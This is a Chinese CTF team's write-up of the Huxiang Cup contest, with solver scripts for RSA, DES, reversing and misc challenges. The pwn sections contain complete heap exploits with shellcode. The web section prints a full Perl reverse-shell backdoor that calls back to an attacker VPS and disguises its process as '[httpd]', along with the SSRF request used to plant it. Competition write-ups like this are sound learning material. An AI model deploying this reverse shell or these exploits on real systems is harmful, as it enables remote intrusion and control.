前言
这次的湖湘杯py真的是太严重了,原题杯可还行,8-81同分可还行(摊手
放一个逼乎上看到的段子
在湖湘杯复赛上,主持人突然问:我们这里有没有很菜的战队?
一个人回答:有,是答主那个。”
主持人问:为什么他们是很菜的队?
回答:我发现最后一个小时,只有他们一个队没有直线上分!”
还是继续放一波队内wp
CRYPTO
give me your passport
看源码看到只有提交的字符串解密以后是Admin就给flag,服务器文件就是加密文件,改一下name跑出来字符串交上去就行
rsa
有一说一,没啥好解释的,很常见的攻击,GitHub上也有脚本
https://github.com/Zui-Qing-Feng/RSA/blob/master/%E5%B7%B2%E7%9F%A5e%2Cn%2Cdp%2Cc%E6%B1%82m1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import libnum
from Crypto.Util.number import long_to_bytes
dp = 84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725
n = 22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611
e = 65537
c = 14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735
for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)%phi
m = pow(c,d,n)
print long_to_bytes(m)
Des
子秘钥反推出deskey,剩下的吹一波主办方1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111import libnum
import binascii
import pyDes
import base64
key1 = [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0]
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
C1D1 = ['*']*56
for i in range(0,len(key1)):
C1D1[__pc2[i]] = key1[i]
print C1D1
C1 = '00000001*11111100*110*00*000'
D1 = '011001*01*1101*0001011000*01'
C0 = '000000001*11111100*110*00*00'
D0 = '1011001*01*1101*0001011000*0'
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
C0D0 = C0+D0
res = ['*']*64
deskey = ""
for i in range(0,len(__pc1)):
res[__pc1[i]] = C0D0[i]
for i in res:
deskey += i
print deskey
01000***01**111*0100100*0110010*0110111*01*00*1*0*0*010*1100001*
01000***01**111*0100100*0110010*0110111*01*00*1*0*0*010*0100001*
def zuoyiwei(str,num):
my = str[num:len(str)]
my = my+str[0:num]
return my
def key_change_1(str):
key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4]
res = ""
for i in key1_list:
res+=str[i-1]
return res
def key_change_2(str):
key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32]
res = ""
for i in key2_list:
res+=str[i-1]
return res
def key_gen(str):
key_list = []
key_change_res = key_change_1(str)
key_c = key_change_res[0:28]
key_d = key_change_res[28:]
for i in range(1,17):
if (i==1) or (i==2) or (i==9) or (i==16):
key_c = zuoyiwei(key_c,1)
key_d = zuoyiwei(key_d,1)
else:
key_c = zuoyiwei(key_c,2)
key_d = zuoyiwei(key_d,2)
key_yiwei = key_c+key_d
key_res = key_change_2(key_yiwei)
key_list.append(key_res)
return key_list
deskey = "01000abc01de111f0100100g0110010h0110111i01j00k1l0m0n010o0100001p"
print key_gen(deskey)
deskey = "0100000"+c+"0110111"+f+"0100100"+g+"0110010"+h+"0110111"+i+"0110011"+l+"0100010"+o+"1100001"+p
deskey = "0100000c0110111f0100100g0110010h0110111i0110011l0100010o0100001p"
def bintostr(str):
res = ""
for i in range(0,len(str),8):
res += chr(int(str[i:i+8],2))
return res
for c in "01":
for f in "01":
for g in "01":
for h in "01":
for i in "01":
for L in "01":
for o in "01":
for p in "01":
str = '0100000'+c+'0110111'+f+'0100100'+g+'0110010'+h+'0110111'+i+'0110011'+L+'0100010'+o+'0100001'+p
str = bintostr(str)
print str
DES = pyDes.des("AnHengDB")
DES.setMode('ECB')
cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"
cipher_list = base64.b64decode(cipher_list)
print DES.decrypt(cipher_list)+"AnHengDB"
PWN
HackNote
这题什么保护也没有开,分析程序发现是常见的菜单题
漏洞点在于edit函数
会计算输入的字符个数作为下一次edit的size,这里只要申请时0xx8形式的大小,这样就会连着下一个chunk的size,因为计算时看0截断的,也就是说size会被算进去,实现offbyone的漏洞,就可以利用overlapchunk的操作,通过堆块重叠实现UAF,2次fastbin的attack,第一次往bss中写入shellcode,第二次我们fastbin_attack劫持到fini.array,在里面写shellcode的地址,最后退出,即可执行shellcode去getshell,下面是exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./HackNote')
if local:
p = process('./HackNote')
libc = elf.libc
else:
p = remote('183.129.189.62',10204)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru("4. Exit\n")
ru("-----------------\n")
sl('1')
ru("Input the Size:\n")
sl(str(size))
ru("Input the Note:\n")
sl(content)
def free(index):
ru("4. Exit\n")
ru("-----------------\n")
sl('2')
ru("Input the Index of Note:\n")
sl(str(index))
def edit(index,content):
ru("4. Exit\n")
ru("-----------------\n")
sl('3')
ru("Input the Index of Note:\n")
sl(str(index))
ru("Input the Note:\n")
sd(content)
malloc(0x98,'a'*0x98)#0
malloc(0x38,'a'*0x98)#1
malloc(0x38,'a'*0x98)#2
malloc(0x98,'a'*0x98)#3
malloc(0x98,'a'*0x98)#4
malloc(0x98,'a'*0x98)#5
malloc(0x98,'a'*0x98)#6
py = ''
py += 'a'*0x98
edit(3,py)
py = ''
py += 'a'*0x90
py += p64(0x1c0) + '\xa0'
edit(3,py)
free(0)
free(4)
malloc(0x98,'i'*0x98)
malloc(0x38,'b'*0x38)
malloc(0x38,'h'*0x38)
bk(0)
free(1)
edit(4,p64(0x6caed2)+'\n')
malloc(0x38,'a'*0x38)
ret_addr = 0x6ccbb8
py = '\x40' + '\x00'*5 + '\x00'*8 + p64(ret_addr+0x10)
malloc(0x38,py)
free(2)
edit(7,p64(0x6ccbb8)+'\n')
malloc(0x38,'a'*0x38)
malloc(0x38,shellcode64+'\n')
ru("4. Exit\n")
ru("-----------------\n")
sl('4')
p.interactive()
NameSystem
这道题直接分析可以知道,pie没开,got表可改,ida分析一波
常规的菜单题,漏洞点在free函数
这里申请20个堆块,free第19个堆块,就会把20堆块的地址给19,这样有2个20堆块的地址,可以构造出double free了,我们构造出2条double free的链子,一条用来改free的got为printf_plt,格式化字符串泄露出真实地址,另外一条改printf的got为onegadget,最后show一下既可以getshell了,exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 0
elf = ELF('./NameSystem')
if local:
p = process('./NameSystem')
libc = elf.libc
else:
p = remote('183.129.189.62',12905)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru("Your choice :")
sl('1')
ru("Name Size:")
sl(str(size))
ru("Name:")
sl(content)
def free(index):
ru("Your choice :")
sl('3')
ru("The id you want to delete:")
sl(str(index))
for i in range(17):
malloc(0x10,'a'*0x60)
for i in range(3):
malloc(0x50,'b'*0x60)
size1 = 0x601ffa
size2 = 0x602022
puts_plt = elf.sym["puts"]
free_got = elf.sym["free"]
puts_got = elf.got["puts"]
print_plt = 0x0000000004006D0
free(18)
free(18)
free(17)
free(19)
for i in range(17):
free(0)
for i in range(14):
malloc(0x20,'c'*0x20)
malloc(0x30,'d'*0x30)
malloc(0x30,'d'*0x30)
malloc(0x30,'d'*0x30)
malloc(0x30,'d'*0x30)
free(18)
free(18)
free(17)
free(19)
for i in range(14):
free(2)
malloc(0x50,p64(size1))
malloc(0x50,p64(size1))
malloc(0x50,p64(size1))
malloc(0x50,'\x00'*14 + '\xd0\x06\x40\x00\x00')
malloc(0x60,"%13$p")
free(9)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
libc_base = int(rc(14),16)-0x20830
print "libc_addr--->" + hex(libc_base)
onegadget = libc_base + one[0]
malloc(0x30,p64(size2))
malloc(0x30,p64(size2))
malloc(0x30,p64(size2))
malloc(0x30,'\x00'*6 + p64(onegadget))
ru("Your choice :")
sl('2')
p.interactive()
WEB
untar
这题和2017hitcon的ssrfme很相似,就是条件苛刻了一点
先上个perl后门1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87!/usr/bin/perl -w
perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
Where to send the reverse shell. Change these.
my $ip = 'vps_ip';
my $port = 2333;
Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
Change the process name to be less conspicious
0 = "[httpd]";
Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}
请求如下1
http://183.129.189.62:12507/?url=http://your_vps/backdoor.txt&filename=URI/aaa.pm
然后在自己的服务器放一个跳转文件1
2
3<?php
header("Location: aaa://aaa.com");
?>
访问?filename=xxx&url=http://your_vps/302.php ,成功反弹shell
thinkphp?
用现有的链打过去就行了
RE
argument
这题查壳发现是UPX,工具直接脱壳,然后ida分析,通过搜索字符串Flag来定位到main函数
前面简单加密,发现是flag.txt,这里通过分析发现是打开了flag.txt文件,然后进行了加密,再进行cmp的check,flag刚好是32个字符
这里进一步发现,是把输入的字符串(只能是0-9和a-f)每2位转成一个16进制的数字再存起来
这里将存起来的数每个加一,然后再cmp比较,密文我们可以ida直接提取出来,最后一个脚本直接出字符再拼接,flag就出了
1 | a = "fmcj2y~{" |
icekey
icekey.exe是.net写的程序,用dnspy打开,从modle进去主逻辑,找到main函数开始分析
这道题通过调试就可以知道程序的大概流程,分析可知程序通过md5进行计算然后我们可以知道一段值,作为我们的key,同时发现对我们的输入进行了加密,和这段字符(ACF8D62AAA0B630C4AF43AF327CE129D46F0FEB98D9040F713BE65502A5107A)cmp
在退出时又进行了一次解密
这样我们可以通过调试修改掉密文,直接解密得到我们的flag{5acb06231724c8c369bae711166dbe85}
EzRE
打开ida分析,查找字符串win定位主逻辑。
这种类型的题目时迷宫题,虽然程序加了反调试的东西,但不影响做题,这里1就是墙壁,99是最后的通关出口,所以我们要走迷宫,先找出地图:
这里把地图拼接成7*7的方阵(16进制),然后走迷宫即可,这里1234对应是上下左右
走一下迷宫
2441444222331333224424444
把顺序输入程序,flag即可打印出来1
flag{#FFRFFF####ZZRZZZ##FF#FFFF}
MISC
something in image
直接用010 editor打开搜flag搜到flag
EzMemory
不用内存分析直接string出可还行2333
elf just elf?
先爆破得到密码123456,解压enc.txt和flag,用hydan对flag进行elf隐写解密获得秘钥8*&#b
,再用秘钥对enc.txt中的密文进行AES解密,解密出来以后再xxencode解密,然后再栅栏解密就行,最后flag是flag{2d5552f9f9812d3aa0e8c45dc0fb3f7b}
创新方向
大数据安全
好像是这题?不记得名字了,原题杯
https://ray-cp.github.io/archivers/CVE-2017-17562-GoAhead-rce
对着打就行